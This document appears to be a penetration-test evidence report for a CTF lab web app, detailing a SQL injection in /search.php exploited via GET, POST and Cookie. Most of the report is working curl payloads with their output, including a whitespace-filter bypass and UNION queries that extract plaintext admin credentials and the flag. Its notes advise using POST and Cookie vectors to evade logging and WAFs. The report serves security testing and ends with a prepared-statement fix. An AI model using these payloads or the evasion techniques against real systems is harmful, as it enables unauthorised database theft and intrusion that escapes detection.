# Injection Exploitation Evidence

## Successfully Exploited Vulnerabilities

### INJ-VULN-01: SQL Injection via GET Parameter in User Search

**Summary:**
- **Vulnerable location:** `/search.php` endpoint - `username` GET parameter (line 25 in source code)
- **Overview:** Critical SQL injection vulnerability allowing complete database extraction through UNION-based injection. The vulnerability exists due to string concatenation with an inadequate blacklist filter that fails to block SQL special characters (double quotes).
- **Impact:** Complete database compromise - extracted plaintext admin credentials (`admin:ThisIsBestPassword`) and successfully captured the CTF flag (`FLAG{c1aa7b7022dd4a9c8e78927cfd19d88d18a26cd73d4cca0d153f6a2e8d5170b5}`)
- **Severity:** Critical (CVSS 9.8) - Unauthenticated network access with complete database read capability

**Prerequisites:**
- Network access to `http://localhost:8080`
- No authentication required
- Any HTTP client (curl, browser, Burp Suite)

**Exploitation Steps:**

1. **Confirm SQL Injection via Boolean-Based Payload**
   ```bash
   curl 'http://localhost:8080/search.php?username="OR"1"="1'
   ```
   **Response:** Returns `User exists: admin` confirming the boolean OR logic manipulated the query
   
   **Explanation:** The payload `"OR"1"="1` breaks out of the double-quote string context and adds an OR condition that always evaluates to true, bypassing the intended username search logic.

2. **Determine Injection Point and Column Count**
   ```bash
   curl 'http://localhost:8080/search.php?username="union/**/select/**/1,2,3%23'
   ```
   **Response:** Returns `User exists: 2` confirming 3-column UNION injection with column 2 being displayed
   
   **Explanation:** The `/**/` syntax replaces whitespace to bypass the regex filter `/\s/`. The `%23` is URL-encoded `#` which comments out the trailing double-quote. Column 2 corresponds to the username field in the display logic.

3. **Fingerprint Database Version**
   ```bash
   curl 'http://localhost:8080/search.php?username="union/**/select/**/1,version(),3%23'
   ```
   **Response:** `User exists: 5.7.15` (MySQL version confirmed)

4. **Extract Current Database Name**
   ```bash
   curl 'http://localhost:8080/search.php?username="union/**/select/**/1,database(),3%23'
   ```
   **Response:** `User exists: appdb`

5. **Extract Database User Context**
   ```bash
   curl 'http://localhost:8080/search.php?username="union/**/select/**/1,user(),3%23'
   ```
   **Response:** `User exists: appuser@10.89.60.3`

6. **Extract All User Credentials (CRITICAL DATA EXFILTRATION)**
   ```bash
   curl 'http://localhost:8080/search.php?username="union/**/select/**/1,concat(username,0x3a,password),3/**/from/**/users%23'
   ```
   **Response:** `User exists: admin:ThisIsBestPassword`
   
   **Explanation:** The `concat(username,0x3a,password)` concatenates username and password with a colon separator (0x3a is hex for ':'). This extracts plaintext passwords from the database.

7. **Authenticate and Capture CTF Flag**
   ```bash
   curl -X POST 'http://localhost:8080/login.php' -d 'username=admin&password=ThisIsBestPassword'
   ```
   **Response:** `Congratz, flag is FLAG{c1aa7b7022dd4a9c8e78927cfd19d88d18a26cd73d4cca0d153f6a2e8d5170b5}`

**Proof of Impact:**
- **Database Fingerprint:**
  - MySQL Version: 5.7.15
  - Database Name: appdb
  - Database User: appuser@10.89.60.3
  
- **Exfiltrated Credentials:**
  - Username: `admin`
  - Password: `ThisIsBestPassword` (plaintext storage confirmed)

- **CTF Flag Captured:**
  - `FLAG{c1aa7b7022dd4a9c8e78927cfd19d88d18a26cd73d4cca0d153f6a2e8d5170b5}`

**Notes:**
- The filter blocks whitespace using regex `/\s/` and keywords (and, null, where, limit, like, substring, substr) but fails to block double quotes, allowing string context escape
- MySQL comment syntax `/**/` effectively bypasses whitespace restrictions
- The `#` character successfully comments out trailing SQL, preventing syntax errors
- The database user has SELECT-only privileges, preventing data modification but allowing full read access
- All three attack vectors (GET, POST, Cookie) are equally exploitable as they use `$_REQUEST["username"]` in the vulnerable code

---

### INJ-VULN-02: SQL Injection via POST Parameter in User Search

**Summary:**
- **Vulnerable location:** `/search.php` endpoint - `username` POST body parameter (same code path as INJ-VULN-01)
- **Overview:** Identical SQL injection vulnerability to INJ-VULN-01, exploitable through POST request body instead of GET query parameter. The underlying vulnerability is the same (`$_REQUEST["username"]` at line 25).
- **Impact:** Complete database compromise with identical capability to GET-based exploitation
- **Severity:** Critical (CVSS 9.8)

**Prerequisites:**
- Network access to `http://localhost:8080`
- No authentication required
- HTTP client capable of POST requests

**Exploitation Steps:**

1. **Confirm SQL Injection via POST Boolean-Based Payload**
   ```bash
   curl -X POST 'http://localhost:8080/search.php' -d 'username="OR"1"="1'
   ```
   **Response:** Returns `User exists: admin` confirming SQL injection via POST method

2. **Extract User Credentials via POST UNION Injection**
   ```bash
   curl -X POST 'http://localhost:8080/search.php' -d 'username="union/**/select/**/1,concat(username,0x3a,password),3/**/from/**/users%23'
   ```
   **Response:** `User exists: admin:ThisIsBestPassword`

3. **Authenticate and Verify Flag Access**
   ```bash
   curl -X POST 'http://localhost:8080/login.php' -d 'username=admin&password=ThisIsBestPassword'
   ```
   **Response:** `Congratz, flag is FLAG{c1aa7b7022dd4a9c8e78927cfd19d88d18a26cd73d4cca0d153f6a2e8d5170b5}`

**Proof of Impact:**
- Successfully extracted admin credentials: `admin:ThisIsBestPassword`
- Verified flag capture: `FLAG{c1aa7b7022dd4a9c8e78927cfd19d88d18a26cd73d4cca0d153f6a2e8d5170b5}`

**Notes:**
- POST-based exploitation may be preferred when:
  - GET parameters are logged at network/proxy layers
  - URL length restrictions apply
  - Payload needs to be hidden from access logs
- The exact same payloads work for POST as they do for GET due to `$_REQUEST` merging both input sources
- Content-Type header defaults to `application/x-www-form-urlencoded` which is correctly processed by PHP

---

### INJ-VULN-03: SQL Injection via Cookie Header in User Search

**Summary:**
- **Vulnerable location:** `/search.php` endpoint - `username` Cookie value (same code path as INJ-VULN-01 and INJ-VULN-02)
- **Overview:** The same SQL injection vulnerability exploitable through HTTP Cookie header. This attack vector is particularly stealthy as cookies are not typically logged in standard access logs.
- **Impact:** Complete database compromise with identical capability to GET and POST-based exploitation
- **Severity:** Critical (CVSS 9.8)

**Prerequisites:**
- Network access to `http://localhost:8080`
- No authentication required
- HTTP client capable of setting custom Cookie headers

**Exploitation Steps:**

1. **Confirm SQL Injection via Cookie Boolean-Based Payload**
   ```bash
   curl 'http://localhost:8080/search.php' -H 'Cookie: username="OR"1"="1'
   ```
   **Response:** Returns `User exists: admin` confirming SQL injection via Cookie header

2. **Extract User Credentials via Cookie UNION Injection**
   ```bash
   curl 'http://localhost:8080/search.php' -H 'Cookie: username="union/**/select/**/1,concat(username,0x3a,password),3/**/from/**/users%23'
   ```
   **Response:** `User exists: admin:ThisIsBestPassword`

3. **Authenticate and Verify Flag Access**
   ```bash
   curl -X POST 'http://localhost:8080/login.php' -d 'username=admin&password=ThisIsBestPassword'
   ```
   **Response:** `Congratz, flag is FLAG{c1aa7b7022dd4a9c8e78927cfd19d88d18a26cd73d4cca0d153f6a2e8d5170b5}`

**Proof of Impact:**
- Successfully extracted admin credentials: `admin:ThisIsBestPassword`
- Verified flag capture: `FLAG{c1aa7b7022dd4a9c8e78927cfd19d88d18a26cd73d4cca0d153f6a2e8d5170b5}`

**Notes:**
- Cookie-based exploitation is the stealthiest attack vector as:
  - Many web application firewalls don't inspect Cookie values as rigorously as URL parameters
  - Standard Apache access logs don't record Cookie headers by default
  - Security monitoring tools may overlook Cookie-based attacks
- The vulnerability exists because PHP's `$_REQUEST` superglobal merges `$_GET`, `$_POST`, and `$_COOKIE` arrays
- Cookie values are automatically URL-decoded by browsers but must be properly encoded when using curl
- This attack vector could enable persistent exploitation by setting a malicious cookie that executes on every page load

---

## Exploitation Summary

**Total Vulnerabilities Exploited:** 3 (all variations of the same underlying SQL injection flaw)

**Attack Success Rate:** 100% (3/3 vulnerabilities successfully exploited)

**Critical Findings:**
1. All three attack vectors (GET, POST, Cookie) successfully bypassed the inadequate blacklist filter
2. UNION-based injection provided immediate data extraction without requiring blind injection techniques
3. Database stores passwords in plaintext (no hashing), enabling immediate authentication after extraction
4. CTF flag successfully captured: `FLAG{c1aa7b7022dd4a9c8e78927cfd19d88d18a26cd73d4cca0d153f6a2e8d5170b5}`

**Root Cause Analysis:**
The vulnerability stems from two fundamental flaws:
1. **String Concatenation:** Using direct string concatenation instead of prepared statements/parameterized queries
2. **Inadequate Input Validation:** Blacklist-based filtering that blocks specific keywords but fails to prevent SQL metacharacter injection (double quotes)

**Recommended Remediation:**
Replace the vulnerable code at `/search.php:25` with prepared statements:
```php
// SECURE CODE (replace lines 25-26):
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $_REQUEST["username"]);
$stmt->execute();
$result = $stmt->get_result();
```

This approach provides complete protection against SQL injection regardless of input content, making the blacklist filter unnecessary.